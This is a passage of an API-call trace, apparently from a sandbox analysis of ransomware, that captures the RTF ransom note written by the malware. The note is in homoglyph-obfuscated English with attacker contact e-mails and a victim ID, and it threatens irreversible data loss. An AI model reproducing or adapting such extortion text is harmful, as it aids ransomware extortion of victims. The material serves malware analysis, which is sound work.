\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 